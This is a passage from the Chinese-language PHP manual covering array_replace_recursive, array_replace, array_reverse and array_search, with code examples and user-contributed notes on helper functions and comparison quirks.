function r_and_dp($a, $b) {
    echo "phase1:" . print_s($a) . "," . print_s($b) . "<br>\n";
    if(is_array($a)) {
        $a = array_reduce($a, "r_and_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_and_dp");
    }
    echo "phase2:" . print_s($a) . "," . print_s($b) . "<br>\n";
    $a = is_null($a) ? TRUE : $a;
    $b = is_null($b) ? TRUE : $b;
    echo "phase3:" . print_s($a) . "," . print_s($b) . "<br>\n";
    return $a && $b;
}
$bools = array(TRUE, array(FALSE, TRUE), TRUE);
echo print_s(array_reduce($bools, "r_and_dp")) . "<br>\n";

// result: FALSE
?>

When using boolean, you have to carefully set an "initial" argument.

<?php
function r_or_dp($a, $b) {
    if(is_array($a)) {
        $a = array_reduce($a, "r_or_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_or_dp");
    }
    return (is_null($a) ? FALSE : $a) || (is_null($b) ? FALSE : $b);
}
?>
bdechka at yahoo dot ca 10-Jan-2007 12:57
The above code works better this way.

<?php
function reduceToTable($html, $p) {
   $html .= "<TR><TD><a href=\"$p.html\">$p</a></td></tr>\n";
   return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable");
echo "<table>".$tab . "</table>\n";
?>
Seanj.jcink.com 04-Jan-2006 06:23
The code posted below by bishop to count the characters of an array is simply... erm... well useless to me...

$array=Array("abc","de","f");
strlen(implode("",$array)); //6

works; and is much smaller. Probably much faster too.


使用传递的数组递归替换第一个数组的元素

  • ? array_reduce
  • array_replace ?
  • PHP Manual
  • 数组 函数
  • 使用传递的数组递归替换第一个数组的元素

array_replace_recursive

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

array_replace_recursive — 使用传递的数组递归替换第一个数组的元素

说明

array_replace_recursive(array $array, array ...$replacements): array

array_replace_recursive() 使用后面数组元素的值替换数组 array 的值。 如果一个键存在于第一个数组同时也存在于第二个数组，它的值将被第二个数组中的值替换。 如果一个键存在于第二个数组，但是不存在于第一个数组，则会在第一个数组中创建这个元素。 如果一个键仅存在于第一个数组，它将保持不变。 如果传递了多个替换数组，它们将被按顺序依次处理，后面的数组将覆盖之前的值。

array_replace_recursive() 是递归的：它将遍历数组并将相同的处理应用到数组的内部值。

如果第一个数组中的值是标量，它的值将被第二个数组中的值替换，它可能是一个标量或者数组。如果第一个数组和第二个数组中的值都是数组， array_replace_recursive() 函数将递归地替换它们各自的值。

参数

array

替换该数组的值。

replacements

包含要提取元素的数组。

返回值

返回 array。

示例

Example #1 array_replace_recursive() 范例

<?php
$base = array('citrus' => array( "orange") , 'berries' => array("blackberry", "raspberry"), );
$replacements = array('citrus' => array('pineapple'), 'berries' => array('blueberry'));

$basket = array_replace_recursive($base, $replacements);
print_r($basket);

$basket = array_replace($base, $replacements);
print_r($basket);
?>

以上示例会输出：

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

)
Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
        )

)

Example #2 array_replace_recursive() 及其递归表现

<?php
$base = array('citrus' => array("orange") , 'berries' => array("blackberry", "raspberry"), 'others' => 'banana' );
$replacements = array('citrus' => 'pineapple', 'berries' => array('blueberry'), 'others' => array('litchis'));
$replacements2 = array('citrus' => array('pineapple'), 'berries' => array('blueberry'), 'others' => 'litchis');

$basket = array_replace_recursive($base, $replacements, $replacements2);
print_r($basket);

?>

以上示例会输出：

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

    [others] => litchis
)

参见

  • array_replace() - 使用传递的数组替换第一个数组的元素
  • array_merge_recursive() - 递归地合并一个或多个数组

User Contributed Notes

David Spector 13-Oct-2020 12:18
It seemed to me that the first argument is passed by reference, so it will contain the results of this operation, but experiment shows that this is not true. The array value from the first argument is modified by each succeeding argument, and the result is returned to the caller. The array passed as the first argument is not modified.
Pau Prat Torrella 10-Feb-2020 05:14
Note that function will NOT replace a sub-tree from you $array1 if its value in $array2 is an empty array.
Even tho the key for this dimension is technically 'set'.

(I suppose it treats it as just another recursive level to dive in, finding no key to compare, backtracking while leaving this sub-tree alone)

For example:

$array1  = ['first' => ['second' => 'hello']];
$array2  = ['first' => []];
$result = array_replace_recursive($array1, $array2);

$result is still: ['first' => ['second' => 'hello']].
Uther 04-Jan-2019 06:06
Note that the use of the word "replace" in the function's description is a bit misleading... as none of the parameters are passed by reference, it does not actually replace anything... this simply describes from which parameter the resulting values come.
oliver dot coleman at gmail dot com 25-Nov-2014 08:20
If you came here looking for a function to recursively find and replace (scalar) values in an array (also recurses through objects):

<?php
define('RECURSIVE_REPLACE_MARKER', 'recursive_replace_r47yr74yr7623t74r3645236rtvghdcbnsgxbt67g5e21873891');
/**
 * Recursively replaces scalar values in objects and arrays. The passed array or object is altered in place.
 * @param mixed $data An object or array.
 * @param mixed $find The scalar value to find.
 * @param mixed $replace The value to replace with (need not be a scalar).
 */
function recursive_replace(&$data, $find, $replace){
  if(is_array($data)) {
    if (!isset($data[RECURSIVE_REPLACE_MARKER])) {
      $data[RECURSIVE_REPLACE_MARKER] = TRUE;
      foreach($data as $key=>$val) {
        if(is_array($data[$key]) || is_object($data[$key])) {
          recursive_replace($data[$key], $find, $replace);
        }
        else{
          if($data[$key] === $find) {
            $data[$key] = $replace;
          }
        }
      }
      unset($data[RECURSIVE_REPLACE_MARKER]);
    }
  }
  elseif (is_object($data)) {
    if (!isset($data->RECURSIVE_REPLACE_MARKER)) {
      $data->RECURSIVE_REPLACE_MARKER = TRUE;
      foreach($data as $key=>$val) {
        if(is_array($data->$key) || is_object($data->$key)){
          recursive_replace($data->$key, $find, $replace);
        }else{
          if($data->$key === $find) {
            $data->$key = $replace;
          }
        }
      }
      unset($data->RECURSIVE_REPLACE_MARKER);
    }
  }
}
?>
msahagian at dotink dot org 13-Jul-2012 11:33
This is a fairly concise version which does not rely on traditional recursion:

<?php
    function array_replace_recursive($base, $replacements)
    {
        foreach (array_slice(func_get_args(), 1) as $replacements) {
            $bref_stack = array(&$base);
            $head_stack = array($replacements);

            do {
                end($bref_stack);

                $bref = &$bref_stack[key($bref_stack)];
                $head = array_pop($head_stack);

                unset($bref_stack[key($bref_stack)]);

                foreach (array_keys($head) as $key) {
                    if (isset($key, $bref) && is_array($bref[$key]) && is_array($head[$key])) {
                        $bref_stack[] = &$bref[$key];
                        $head_stack[] = $head[$key];
                    } else {
                        $bref[$key] = $head[$key];
                    }
                }
            } while(count($head_stack));
        }

        return $base;
    }
?>
Gregor at der-meyer dot de 29-Jul-2009 06:13
Nice that this function finally found its was to the PHP core! If you want to use it also with older PHP versions before 5.3.0, you can define it this way:

<?php
if (!function_exists('array_replace_recursive'))
{
  function array_replace_recursive($array, $array1)
  {
    function recurse($array, $array1)
    {
      foreach ($array1 as $key => $value)
      {
        // create new key in $array, if it is empty or not an array
        if (!isset($array[$key]) || (isset($array[$key]) && !is_array($array[$key])))
        {
          $array[$key] = array();
        }

        // overwrite the value in the base array
        if (is_array($value))
        {
          $value = recurse($array[$key], $value);
        }
        $array[$key] = $value;
      }
      return $array;
    }

    // handle the arguments, merge one by one
    $args = func_get_args();
    $array = $args[0];
    if (!is_array($array))
    {
      return $array;
    }
    for ($i = 1; $i < count($args); $i++)
    {
      if (is_array($args[$i]))
      {
        $array = recurse($array, $args[$i]);
      }
    }
    return $array;
  }
}
?>

I called this function array_merge_recursive_overwrite() in my older projects, but array_replace_recursive() sounds quite better while they do the same.

If you implemented such a compatible function before and don't want to refactor all your code, you can update it with the following snippet to use the native (and hopefully faster) implementation of PHP 5.3.0, if available. Just start your function with these lines:

<?php
  // as of PHP 5.3.0 array_replace_recursive() does the work for us
  if (function_exists('array_replace_recursive'))
  {
    return call_user_func_array('array_replace_recursive', func_get_args());
  }
?>
kyle [dot] florence [@t] gmail [dot] com 14-Jul-2009 04:16
This might help out people who don't have 5.3 running:

<?php

// Joins two or more arrays together recursively; key/value pairs of the first
// array are replaced with key/value pairs from the subsequent arrays.  Any
// key/value pair not present in the first array is added to the final array
function array_join()
{
    // Get array arguments
    $arrays = func_get_args();

    // Define the original array
    $original = array_shift($arrays);

    // Loop through arrays
    foreach ($arrays as $array)
    {
        // Loop through array key/value pairs
        foreach ($array as $key => $value)
        {
            // Value is an array
            if (is_array($value))
            {
                // Traverse the array; replace or add result to original array
                $original[$key] = array_join($original[$key], $array[$key]);
            }

            // Value is not an array
            else
            {
                // Replace or add current value to original array
                $original[$key] = $value;
            }
        }
    }

    // Return the joined array
    return $original;
}

?>


使用传递的数组替换第一个数组的元素

  • ? array_replace_recursive
  • array_reverse ?
  • PHP Manual
  • 数组 函数
  • 使用传递的数组替换第一个数组的元素

array_replace

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

array_replace — 使用传递的数组替换第一个数组的元素

说明

array_replace(array $array, array ...$replacements): array

array_replace() 函数使用后面数组元素相同 key 的值替换 array 数组的值。如果一个键存在于第一个数组同时也存在于第二个数组，它的值将被第二个数组中的值替换。如果一个键存在于第二个数组，但是不存在于第一个数组，则会在第一个数组中创建这个元素。如果一个键仅存在于第一个数组，它将保持不变。如果传递了多个替换数组，它们将被按顺序依次处理，后面的数组将覆盖之前的值。

array_replace() 是非递归的：它将第一个数组的值进行替换而不管第二个数组中是什么类型。

参数

array

替换该数组的值。

replacements

包含要提取元素的数组。 后面的数组里的值会覆盖前面的值。

返回值

返回 array。

示例

Example #1 array_replace() 示例

<?php
$base = array("orange", "banana", "apple", "raspberry");
$replacements = array(0 => "pineapple", 4 => "cherry");
$replacements2 = array(0 => "grape");

$basket = array_replace($base, $replacements, $replacements2);
print_r($basket);
?>

以上示例会输出：

Array
(
    [0] => grape
    [1] => banana
    [2] => apple
    [3] => raspberry
    [4] => cherry
)

参见

  • array_replace_recursive() - 使用传递的数组递归替换第一个数组的元素
  • array_merge() - 合并一个或多个数组

User Contributed Notes

ricardophp yahoocombr 08-Apr-2022 03:40
Concerning the affirmation:
If you want to append array elements from the second array to the first array while not overwriting the elements from the first array and not re-indexing, use the + array union operator

Clearing the fact (it means ...):
If the first array have a key and a value it will not be overlap by the new array. therefore if you have an array like [1=>"alpha", 2=>"beta"] and you got a new array telling [1=>"Alpha", 3=>"Gamma"] the final array will be [1=>"alpha", 2=>"beta", 3=>"Gamma"]. The values of first array will not be modified in the result array.

So, if you are building a concatenation array where the values sometimes overlaps each other keys and you must preserve values you better use array_merge instead "plus" sign
ivijan dot stefan at gmail dot com 14-Nov-2016 09:16
If you work on some realy old server below PHP5 you can use array_merge like "necessary evil" to replace values in array:

Here is example how you can use this:

<?php
if(function_exists("array_replace") && version_compare(phpversion(), '5.3.0', '>='))
        $data = array_replace($array1, $array2); // (PHP 5 >= 5.3.0)
    else
        $data = array_merge($array1, $array2); // (PHP 5 < 5.3.0)
var_dump($data);
?>

This can also help someplugin developers to cover some old PHP versions.
ali dot sweden19 at yahoo dot com 25-Jan-2016 02:42
Here is a simple array_replace_keys function:

/**
     * This function replaces the keys of an associate array by those supplied in the keys array
     *
     * @param $array target associative array in which the keys are intended to be replaced
     * @param $keys associate array where search key => replace by key, for replacing respective keys
     * @return  array with replaced keys
     */
    private function array_replace_keys($array, $keys)
    {
        foreach ($keys as $search => $replace) {
            if ( isset($array[$search])) {
                $array[$replace] = $array[$search];
                unset($array[$search]);
            }
        }

        return $array;
    }

// Test Drive

print_r(array_replace_keys(['one'=>'apple', 'two'=>'orange'], ['one'=>'ett', 'two'=>'tvo']);
// Output
array(
'ett'=>'apple',
'tvo'=>'orange'
)
projacore at gmail dot com 26-Jul-2015 07:45
You can also use:

<?php
$myarray = [
"Orange",
"572" => "Banana",
"omg" => "Chili",
"nevermind" => "mango"
];

$myarray[0] = "NO-Orange";
$myarray["572"] = "BANANAPHONE!!!";
$myarray["omg"] = "NO-Chili";

print_r($myarray);

?>

RESULT:
Array
(
    [0] => NO-Orange
    [572] => BANANAPHONE!!!
    [omg] => NO-Chili
    [nevermind] => mango
)

with regards
Anonymous 08-May-2015 07:17
The documentation is wrongly phrased: "array_replace() replaces the values of array1"  No replacing is done. A new array is created which looks like the one that would have resulted from the described replacement.

If you want to augment the set of indices in an array, use
       array_to_be_modified += array_with_indices_to_add;
lm713 15-Oct-2014 01:40
If the arrays are associative (that is, their keys are strings), then I believe this function is identical to (the older) array_merge.
kyberprizrak 15-Jun-2014 01:08
if(!function_exists('array_replace'))
{
  function array_replace()
  {
    $args = func_get_args();
    $num_args = func_num_args();
    $res = array();
    for($i=0; $i<$num_args; $i++)
    {
      if(is_array($args[$i]))
      {
        foreach($args[$i] as $key => $val)
        {
          $res[$key] = $val;
        }
      }
      else
      {
        trigger_error(__FUNCTION__ .'(): Argument #'.($i+1).' is not an array', E_USER_WARNING);
        return NULL;
      }
    }
    return $res;
  }
}
marvin_elia at web dot de 18-Mar-2014 11:45
Simple function to replace array keys. Note you have to manually select wether existing keys will be overrided.

/**
  * @param array $array
  * @param array $replacements
  * @param boolean $override
  * @return array
  */
function array_replace_keys(array $array, array $replacements, $override = false) {
    foreach ($replacements as $old => $new) {
        if(is_int($new) || is_string($new)){
            if(array_key_exists($old, $array)){
                if(array_key_exists($new, $array) && $override === false){
                    continue;
                }
                $array[$new] = $array[$old];
                unset($array[$old]);
            }
        }
    }
    return $array;
}
gmastro77 at gmail dot com 10-Apr-2013 05:05
In some cases you might have a structured array from the database and one
of its nodes goes like this;

<?php
# a random node structure
$arr    = array(
    'name'  => 'some name',
    'key2'  => 'value2',
    'title' => 'some title',
    'key4'  => 4,
    'json'  => '[1,0,1,1,0]'
);

# capture these keys values into given order
$keys   = array( 'name', 'json', 'title' );
?>

Now consider that you want to capture $arr values from $keys.
Assuming that you have a limitation to display the content into given keys
order, i.e. use it with a vsprintf, you could use the following

<?php
# string to transform
$string = "<p>name: %s, json: %s, title: %s</p>";

# flip keys once, we will use this twice
$keys   = array_flip( $keys );

# get values from $arr
$test   = array_intersect_key( $arr, $keys );

# still not good enough
echo vsprintf( $string, $test );
// output --> name: some name, json: some title, title: [1,0,1,1,0]

# usage of array_replace to get exact order and save the day
$test   = array_replace( $keys, $test );

# exact output
echo vsprintf( $string, $test );
// output --> name: some name, json: [1,0,1,1,0], title: some title

?>

I hope that this will save someone's time.
steelpandrummer 14-Aug-2012 09:19
<?php
// we wanted the output of only selected array_keys from a big array from a csv-table
// with different order of keys, with optional suppressing of empty or unused values

$values = array
(
    'Article'=>'24497',
    'Type'=>'LED',
    'Socket'=>'E27',
    'Dimmable'=>'',
    'Wattage'=>'10W'
);

$keys = array_fill_keys(array('Article','Wattage','Dimmable','Type','Foobar'), ''); // wanted array with empty value

$allkeys = array_replace($keys, array_intersect_key($values, $keys));    // replace only the wanted keys

$notempty = array_filter($allkeys, 'strlen'); // strlen used as the callback-function with 0==false

print '<pre>';
print_r($allkeys);
print_r($notempty);

/*
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Dimmable] =>
    [Type] => LED
    [Foobar] =>
)
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Type] => LED
)
*/
?>
sun at drupal dot org 27-May-2011 11:42
Instead of calling this function, it's often faster and simpler to do this instead:

<?php
$array_replaced = $array2 + $array1;
?>

If you need references to stay intact:

<?php
$array2 += $array1;
?>
polecat at p0lecat dot com 29-Nov-2010 10:02
I got hit with a noob mistake. :)

When the function was called more than once, it threw a function redeclare error of course.  The enviroment I was coding in never called it more than once but I caught it in testing and here is the fully working revision.  A simple logical step was all that was needed.

With PHP 5.3 still unstable for Debian Lenny at this time and not knowing if array_replace would work with multi-dimensional arrays, I wrote my own.  Since this site has helped me so much, I felt the need to return the favor. :)

<?php
        // Polecat's Multi-dimensional array_replace function
        // Will take all data in second array and apply to first array leaving any non-corresponding values untouched and intact
        function polecat_array_replace( array &$array1, array &$array2 ) {
            // This sub function is the iterator that will loop back on itself ad infinitum till it runs out of array dimensions
            if(!function_exists('tier_parse')){
                function tier_parse(array &$t_array1, array&$t_array2) {
                    foreach ($t_array2 as $k2 => $v2) {
                        if (is_array($t_array2[$k2])) {
                            tier_parse($t_array1[$k2], $t_array2[$k2]);
                        } else {
                            $t_array1[$k2] = $t_array2[$k2];
                        }
                    }
                    return $t_array1;
                }
            }

            foreach ($array2 as $key => $val) {
                if (is_array($array2[$key])) {
                    tier_parse($array1[$key], $array2[$key]);
                } else {
                    $array1[$key] = $array2[$key];
                }
            }
            return $array1;
        }
?>

[I would also like to note] that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

<?php
$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);
?>

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
polecat at p0lecat dot com 29-Nov-2010 09:57
I would like to add to my previous note about my polecat_array_replace function that if you want to add a single dimensional array to a multi, all you must do is pass the matching internal array key from the multi as the initial argument as such:

$array1 = array( "berries" => array( "strawberry" => array( "color" => "red", "food" => "desserts"), "dewberry" = array( "color" => "dark violet", "food" => "pies"), );

$array2 = array( "food" => "wine");

$array1["berries"]["dewberry"] = polecat_array_replace($array1["berries"]["dewberry"], $array2);

This is will replace the value for "food" for "dewberry" with "wine".

The function will also do the reverse and add a multi to a single dimensional array or even a 2 tier array to a 5 tier as long as the heirarchy tree is identical.

I hope this helps atleast one person for all that I've gained from this site.
mail at romansklenar dot cz 10-Dec-2009 07:01
To get exactly same result like in PHP 5.3, the foreach loop in your code should look like:

<?php
...
$count = func_num_args();

for ($i = 1; $i < $count; $i++) {
   ...
}
...
?>

Check on this code:

<?php
$base = array('id' => NULL, 'login' => NULL, 'credit' => NULL);
$arr1 = array('id' => 2, 'login' => NULL, 'credit' => 5);
$arr2 = array('id' => NULL, 'login' => 'john.doe', 'credit' => 100);
$result = array_replace($base, $arr1, $arr2);

/*
correct output:

array(3) {
   "id" => NULL
   "login" => string(8) "john.doe"
   "credit" => int(100)
}

your output:

array(3) {
   "id" => int(2)
   "login" => NULL
   "credit" => int(5)
}
*/
?>

Function array_replace "replaces elements from passed arrays into the first array" -- this means replace from top-right to first, then from top-right - 1 to first, etc, etc...
tufan dot oezduman at googlemail dot com 06-Nov-2009 04:19
a little enhancement to dyer85 at gmail dot com's function below:
<?php
if (!function_exists('array_replace'))
{
  function array_replace( array &$array, array &$array1, $filterEmpty=false )
  {
    $args = func_get_args();
    $count = func_num_args()-1;

    for ($i = 0; $i < $count; ++$i) {
      if (is_array($args[$i])) {
        foreach ($args[$i] as $key => $val) {
            if ($filterEmpty && empty($val)) continue;
            $array[$key] = $val;
        }
      }
      else {
        trigger_error(
          __FUNCTION__ . '(): Argument #' . ($i+1) . ' is not an array',
          E_USER_WARNING
        );
        return NULL;
      }
    }

    return $array;
  }
}
?>

this will allow you to "tetris-like" merge arrays:

<?php

$a= array(
    0 => "foo",
    1 => "",
    2 => "baz"
);
$b= array(
    0 => "",
    1 => "bar",
    2 => ""
);

print_r(array_replace($a,$b, true));

?>
results in:
Array
(
    [0] => foo
    [1] => bar
    [2] => baz
)


返回单元顺序相反的数组

  • ? array_replace
  • array_search ?
  • PHP Manual
  • 数组 函数
  • 返回单元顺序相反的数组

array_reverse

(PHP 4, PHP 5, PHP 7, PHP 8)

array_reverse — 返回单元顺序相反的数组

说明

array_reverse(array $array, bool $preserve_keys = false): array

array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。

参数

array

输入的数组。

preserve_keys

如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响，总是会被保留。

返回值

返回反转后的数组。

示例

Example #1 array_reverse() 例子

<?php
$input = array("php", 4.0, array("green", "red"));
$reversed = array_reverse($input);
$preserved = array_reverse($input, true);

print_r($input);
print_r($reversed);
print_r($preserved);
?>

以上示例会输出：

Array
(
    [0] => php
    [1] => 4
    [2] => Array
        (
            [0] => green
            [1] => red
        )

)
Array
(
    [0] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [2] => php
)
Array
(
    [2] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [0] => php
)

参见

  • array_flip() - 交换数组中的键和值

User Contributed Notes

There are no user contributed notes for this page.


在数组中搜索给定的值，如果成功则返回首个相应的键名

  • ? array_reverse
  • array_shift ?
  • PHP Manual
  • 数组 函数
  • 在数组中搜索给定的值，如果成功则返回首个相应的键名

array_search

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

array_search — 在数组中搜索给定的值，如果成功则返回首个相应的键名

说明

array_search(mixed $needle, array $haystack, bool $strict = false): int|string|false

在 haystack 中搜索 needle。

参数

needle

搜索的值。

Note:

如果 needle 是字符串，则比较以区分大小写的方式进行。

haystack

这个数组。

strict

如果可选的第三个参数 strict 为 true，则 array_search() 将在 haystack 中检查完全相同的元素。 这意味着同样严格比较 haystack 里 needle 的 类型，并且对象需是同一个实例。

返回值

如果找到了 needle 则返回它的键，否则返回 false。

如果 needle 在 haystack 中出现不止一次，则返回第一个匹配的键。要返回所有匹配值的键，应该用 array_keys() 加上可选参数 search_value 来代替。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 array_search() 例子

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('green', $array); // $key = 2;
$key = array_search('red', $array); // $key = 1;
?>

参见

  • array_keys() - 返回数组中部分的或所有的键名
  • array_values() - 返回数组中所有的值
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • in_array() - 检查数组中是否存在某个值

User Contributed Notes

opencart dot ocfilter at gmail dot com 23-Sep-2021 12:43
Be careful!

<?php

var_dump(array_search('needle', [ 0 => 0 ])); // int(0) (!)

var_dump(array_search('needle', [ 0 => 0 ], true)); // bool(false)

?>

But, in php 8

<?php

var_dump(array_search('needle', [ 0 => 0 ])); // bool(false)

?>
nordseebaer at gmx dot de 08-May-2020 08:08
It's really important to check the return value is not false! I used array_search() to determine the index of an value to unset this value and then realized that $arr[false] === $arr[0] !

<?php
$arr = ['apple', 'banana'];

var_dump($arr[0] === 'apple'); // true
var_dump($arr[false] === $arr[0]); // true
var_dump($arr[false] === 'apple'); // true

unset($arr[array_search('banana', $arr)]); //index = 1
var_dump($arr);

// result
//   array(1) {
//     [0]=>
//     string(5) "apple"
//   }

unset($arr[array_search('peach', $arr)]); //not found, result is false
var_dump($arr);

// result
//   array(0) {
//   }
// because $arr[false] === $arr[0]
?>

So always check the return of array_search!
yasien dot dwieb at gmail dot com 28-Apr-2020 05:41
Beware when using array_search to a mix of string and integer where prefixes of keys may collide, as in my case I have encountered the following situation:

Assume you have the following array:
<?php
$arr = [
           1 => 'index 0',
           2 => 'index 1',
           3 => 'index 2',
           '3anothersuffix' => 'index 3'
];

$index1 = array_search('3', array_keys($arr)); // 2
$index2 = array_search('3anothersuffix', array_keys($arr)); //2
?>

$index1 and $index2 will be the same

after using strict type search:

<?php
$index1 = array_search('3', array_keys($arr), true); // false
$index2 = array_search('3anothersuffix', array_keys($arr), true);  //3
?>

it will not find $index1 at all while returning a correct value for $index2;
thinbegin at gmail dot com 18-Jan-2018 10:18
Despite PHP's amazing assortment of array functions and juggling maneuvers, I found myself needing a way to get the FULL array key mapping to a specific value. This function does that, and returns an array of the appropriate keys to get to said (first) value occurrence.

function array_recursive_search_key_map($needle, $haystack) {
    foreach($haystack as $first_level_key=>$value) {
        if ($needle === $value) {
            return array($first_level_key);
        } elseif (is_array($value)) {
            $callback = array_recursive_search_key_map($needle, $value);
            if ($callback) {
                return array_merge(array($first_level_key), $callback);
            }
        }
    }
    return false;
}

usage example:
-------------------

$nested_array = $sample_array = array(
    'a' => array(
        'one' => array ('aaa' => 'apple', 'bbb' => 'berry', 'ccc' => 'cantalope'),
        'two' => array ('ddd' => 'dog', 'eee' => 'elephant', 'fff' => 'fox')
    ),
    'b' => array(
        'three' => array ('ggg' => 'glad', 'hhh' => 'happy', 'iii' => 'insane'),
        'four' => array ('jjj' => 'jim', 'kkk' => 'kim', 'lll' => 'liam')
    ),
    'c' => array(
        'five' => array ('mmm' => 'mow', 'nnn' => 'no', 'ooo' => 'ohh'),
        'six' => array ('ppp' => 'pidgeon', 'qqq' => 'quail', 'rrr' => 'rooster')
    )
);

$search_value = 'insane';

$array_keymap = array_recursive_search_key_map($search_value, $nested_array);

var_dump($array_keymap);
// Outputs:
// array(3) {
// [0]=>
//  string(1) "b"
//  [1]=>
//  string(5) "three"
//  [2]=>
//  string(3) "iii"
//}

----------------------------------------------

But again, with the above solution, PHP again falls short on how to dynamically access a specific element's value within the nested array. For that, I wrote a 2nd function to pull the value that was mapped above.

function array_get_nested_value($keymap, $array)
{
    $nest_depth = sizeof($keymap);
    $value = $array;
    for ($i = 0; $i < $nest_depth; $i++) {
        $value = $value[$keymap[$i]];
    }

    return $value;
}

usage example:
-------------------
echo array_get_nested_value($array_keymap, $nested_array);   // insane
turabgarip at gmail dot com 10-Mar-2017 03:04
About searcing in multi-dimentional arrays; two notes on "xfoxawy at gmail dot com";

It perfectly searches through multi-dimentional arrays combined with array_column() (min php 5.5.0) but it may not return the values you'd expect.

<?php array_search($needle, array_column($array, 'key')); ?>

Since array_column() will produce a resulting array; it won't preserve your multi-dimentional array's keys. So if you check against your keys, it will fail.

For example;

<?php
$people = array(
  2 => array(
    'name' => 'John',
    'fav_color' => 'green'
  ),
  5=> array(
    'name' => 'Samuel',
    'fav_color' => 'blue'
  )
);

$found_key = array_search('blue', array_column($people, 'fav_color'));
?>

Here, you could expect that the $found_key would be "5" but it's NOT. It will be 1. Since it's the second element of the produced array by the array_column() function.

Secondly, if your array is big, I would recommend you to first assign a new variable so that it wouldn't call array_column() for each element it searches. For a better performance, you could do;

<?php
$colors = array_column($people, 'fav_color');
$found_key = array_search('blue', $colors);
?>
maciej at speccode dot com 18-Aug-2015 05:58
FYI, remember that strict mode is something that might save you hours.

If you're searching for a string and you have a "true" boolean on the way - you will get it as result (first occurrence). Example below:

<?php

$arr = [
    'foo'    => 'bar',
    'abc'    => 'def',
    'bool'   => true,
    'target' => 'xyz'
];

var_dump( array_search( 'xyz', $arr ) ); //bool
var_dump( array_search( 'xyz', $arr, true ) ); //target

?>
stooshie at gmail dot com 06-Oct-2011 02:51
Example of a recursive binary search that returns the index rather than boolean.
<?php
// returns the index of needle in haystack
function binSearch($needle, $haystack)
{
    // n is only needed if counting depth of search
    global $n;
    $n++;
    // get the length of passed array
    $l = count($haystack);
    // if length is 0, problem
    if($l <= 0)
    {
        return -1;
    }
    // get the mid element
    $m = (($l+($l%2))/2);
    // if mid >= length (e.g. l=1)
    if($m >= $l)
    {
        $m = $m-1;
    }
    // get the indexed element to compare to the passed element and branch accordingly
    $compare = $haystack[$m];
    switch(true)
    {
        case($compare>$needle):
        {
            // recurse on the lower half
            $new_haystack = array_slice($haystack, 0, $m);
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current index - (length of lower half - found index in lower half)
            return $m - ($c - $r);
            break;
        }
        case($compare<$needle):
        {
            // recurse on the upper half
            $new_haystack = array_slice($haystack, $m, ($l-$m));
            $c = count($new_haystack);
            $r = binSearch($needle, $new_haystack);
            // return current position + found index in upper half
            return $m + $r;
            break;
        }
        case($compare==$needle):
        {
            // found it, so return index
            return $m;
            break;
        }
    }
}
?>
stefano@takys dot it 14-Jan-2011 01:58
for searching case insensitive better this:

<?php
array_search(strtolower($element),array_map('strtolower',$array));
?>
codeslinger at compsalot dot com 02-Oct-2009 12:22
one thing to be very aware of is that array_search() will fail if the needle is a string and the array itself contains values that are mixture of numbers and strings.  (or even a string that looks like a number)

The problem is that unless you specify "strict" the match is done using ==    and in that case any string will match a numeric value of zero which is not what you want.

-----

also, php can lookup an index pretty darn fast.  for many scenarios, it is practical to maintain multiple arrays, one in which the index of the array is the search key and the normal array that contains the data.

<?php

  $normal[$index] = array('key'=>$key, 'data'=>'foo');
  $inverse[$key] = $index;

  //very fast lookup, this beats any other kind of search

  if (array_key_exists($key, $inverse))
  {
    $index = $inverse[$key];
    return $normal[$index];
  }

?>
n-regen 05-May-2009 10:36
If you only know a part of a value in an array and want to know the complete value, you can use the following function:
<?php
function array_find($needle, $haystack)
{
   foreach ($haystack as $item)
   {
      if (strpos($item, $needle) !== FALSE)
      {
         return $item;
         break;
      }
   }
}
?>
The function returns the complete first value of $haystack that contains $needle.
helenadeus at gmail dot com 25-Jan-2009 01:05
I was trying to use array_search to retrieve all the values that match a given needle, but it turns out only the first match key is returned. I built this little function, which works just like array_search, but returns all the keys that match a given needle instead. The output is an array.

<?php

$haystack = array('a','b','a','b');

$needle = 'a';

print_r(array_search_all($needle, $haystack));

//Output will be
// Array
// (
//         [0]=>1
//         [1]=>3
// )

function array_search_all($needle, $haystack)
{#array_search_match($needle, $haystack) returns all the keys of the values that match $needle in $haystack

    foreach ($haystack as $k=>$v) {

        if($haystack[$k]==$needle){

           $array[] = $k;
        }
    }
    return ($array);

}

?>
azaozz, gmail 20-Dec-2008 05:23
Expanding on the comment by hansen{}cointel.de:

When searching for a string and the array contains 0 (zero), the string is casted to (int) by the type-casting which is always 0 (perhaps the opposite is the proper behaviour, the array value 0 should have been casted to string). That produces unexpected results if strict comparison is not used:

<?php
$a = array(0, "str1", "str2", "str3");
echo "
